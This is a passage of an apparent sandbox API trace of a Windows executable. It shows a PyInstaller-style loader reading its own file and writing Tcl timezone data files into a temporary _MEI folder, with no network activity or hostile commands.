(lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.267] GetFileType (hFile=0x10c) returned 0x1 [0039.267] htonl (hostlong=0x1ebb5900) returned 0x59bb1e [0039.267] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5e6b1e, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.267] htonl (hostlong=0x11060000) returned 0x611 [0039.267] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x611) returned 0x550600 [0039.267] htonl (hostlong=0x11060000) returned 0x611 [0039.267] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.267] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.267] htonl (hostlong=0x851e0000) returned 0x1e85 [0039.267] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1e85) returned 0x561090 [0039.267] htonl (hostlong=0x11060000) returned 0x611 [0039.267] htonl (hostlong=0x851e0000) returned 0x1e85 [0039.267] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562f20 [0039.267] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562f20 | out: hHeap=0x530000) returned 1 [0039.267] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.267] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.267] CloseHandle (hObject=0x10c) returned 1 [0039.267] GetLastError () returned 0x0 [0039.267] SetLastError (dwErrCode=0x0) [0039.268] GetLastError () returned 0x0 [0039.268] SetLastError (dwErrCode=0x0) [0039.268] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.268] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.268] GetFileType (hFile=0x10c) returned 0x1 [0039.268] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.268] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.268] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.268] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.268] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.268] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.268] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.268] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.268] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.268] CloseHandle (hObject=0x10c) returned 1 [0039.268] GetLastError () returned 0x0 [0039.268] SetLastError (dwErrCode=0x0) [0039.268] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.268] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.268] GetFileType (hFile=0x10c) returned 0x1 [0039.268] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.268] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.269] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.269] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.269] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.269] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.269] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.269] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.269] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.269] CloseHandle (hObject=0x10c) returned 1 [0039.269] GetLastError () returned 0x0 [0039.269] SetLastError (dwErrCode=0x0) [0039.269] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.269] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.269] GetFileType (hFile=0x10c) returned 0x1 [0039.269] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.269] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.269] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.269] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.269] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.269] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.269] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.269] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.269] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.269] CloseHandle (hObject=0x10c) returned 1 [0039.270] GetLastError () returned 0x0 [0039.270] SetLastError (dwErrCode=0x0) [0039.270] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Montevideo") returned 75 [0039.270] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Montevideo" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\montevideo"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.270] GetLastError () returned 0x2 [0039.270] SetLastError (dwErrCode=0x2) [0039.270] GetLastError () returned 0x2 [0039.270] SetLastError (dwErrCode=0x2) [0039.270] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Montevideo", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Montevideo", lpFilePart=0x0) returned 0x4a [0039.270] GetLastError () returned 0x2 [0039.270] SetLastError (dwErrCode=0x2) [0039.270] GetLastError () returned 0x2 [0039.270] SetLastError (dwErrCode=0x2) [0039.270] GetLastError () returned 0x2 [0039.270] SetLastError (dwErrCode=0x2) [0039.270] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Montevideo") returned 75 [0039.270] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.270] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Montevideo" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\montevideo"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.271] GetFileType (hFile=0x10c) returned 0x1 [0039.271] htonl (hostlong=0x851e0000) returned 0x1e85 [0039.271] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0039.272] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.272] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xe85, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xe85, lpOverlapped=0x0) returned 1 [0039.272] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.272] CloseHandle (hObject=0x10c) returned 1 [0039.273] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.273] htonl (hostlong=0x30000000) returned 0x30 [0039.273] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.273] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.273] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.273] GetFileType (hFile=0x10c) returned 0x1 [0039.273] htonl (hostlong=0x2fc15900) returned 0x59c12f [0039.273] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5e712f, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.273] htonl (hostlong=0xfb070000) returned 0x7fb [0039.273] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x7fb) returned 0x55e278 [0039.273] htonl (hostlong=0xfb070000) returned 0x7fb [0039.273] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.273] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.273] htonl (hostlong=0xa32a0000) returned 0x2aa3 [0039.273] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2aa3) returned 0x561090 [0039.273] htonl (hostlong=0xfb070000) returned 0x7fb [0039.274] htonl (hostlong=0xa32a0000) returned 0x2aa3 [0039.274] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563b40 [0039.274] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563b40 | out: hHeap=0x530000) returned 1 [0039.274] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0039.274] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.274] CloseHandle (hObject=0x10c) returned 1 [0039.274] GetLastError () returned 0x0 [0039.274] SetLastError (dwErrCode=0x0) [0039.274] GetLastError () returned 0x0 [0039.274] SetLastError (dwErrCode=0x0) [0039.274] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.274] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.274] GetFileType (hFile=0x10c) returned 0x1 [0039.274] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.274] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.274] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.274] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.274] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.274] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.274] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.274] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.274] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.274] CloseHandle (hObject=0x10c) returned 1 [0039.275] GetLastError () returned 0x0 [0039.275] SetLastError (dwErrCode=0x0) [0039.275] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.275] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.275] GetFileType (hFile=0x10c) returned 0x1 [0039.275] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.275] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.275] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.275] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.275] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.275] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.275] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.275] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.275] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.275] CloseHandle (hObject=0x10c) returned 1 [0039.275] GetLastError () returned 0x0 [0039.275] SetLastError (dwErrCode=0x0) [0039.275] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.275] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.275] GetFileType (hFile=0x10c) returned 0x1 [0039.275] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.275] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.275] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.275] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.276] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.276] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.276] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.276] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.276] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.276] CloseHandle (hObject=0x10c) returned 1 [0039.276] GetLastError () returned 0x0 [0039.276] SetLastError (dwErrCode=0x0) [0039.276] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Montreal") returned 73 [0039.276] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Montreal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\montreal"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.276] GetLastError () returned 0x2 [0039.276] SetLastError (dwErrCode=0x2) [0039.276] GetLastError () returned 0x2 [0039.276] SetLastError (dwErrCode=0x2) [0039.276] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Montreal", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Montreal", lpFilePart=0x0) returned 0x48 [0039.276] GetLastError () returned 0x2 [0039.276] SetLastError (dwErrCode=0x2) [0039.276] GetLastError () returned 0x2 [0039.276] SetLastError (dwErrCode=0x2) [0039.276] GetLastError () returned 0x2 [0039.276] SetLastError (dwErrCode=0x2) [0039.276] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Montreal") returned 73 [0039.276] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.276] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Montreal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\montreal"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.277] GetFileType (hFile=0x10c) returned 0x1 [0039.277] htonl (hostlong=0xa32a0000) returned 0x2aa3 [0039.277] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0039.278] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.278] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xaa3, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xaa3, lpOverlapped=0x0) returned 1 [0039.278] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.278] CloseHandle (hObject=0x10c) returned 1 [0039.279] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.279] htonl (hostlong=0x30000000) returned 0x30 [0039.279] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.280] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.280] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.280] GetFileType (hFile=0x10c) returned 0x1 [0039.280] htonl (hostlong=0x2ac95900) returned 0x59c92a [0039.280] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5e792a, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.280] htonl (hostlong=0x8c000000) returned 0x8c [0039.280] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8c) returned 0x55cfe0 [0039.280] htonl (hostlong=0x8c000000) returned 0x8c [0039.280] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.281] ReadFile 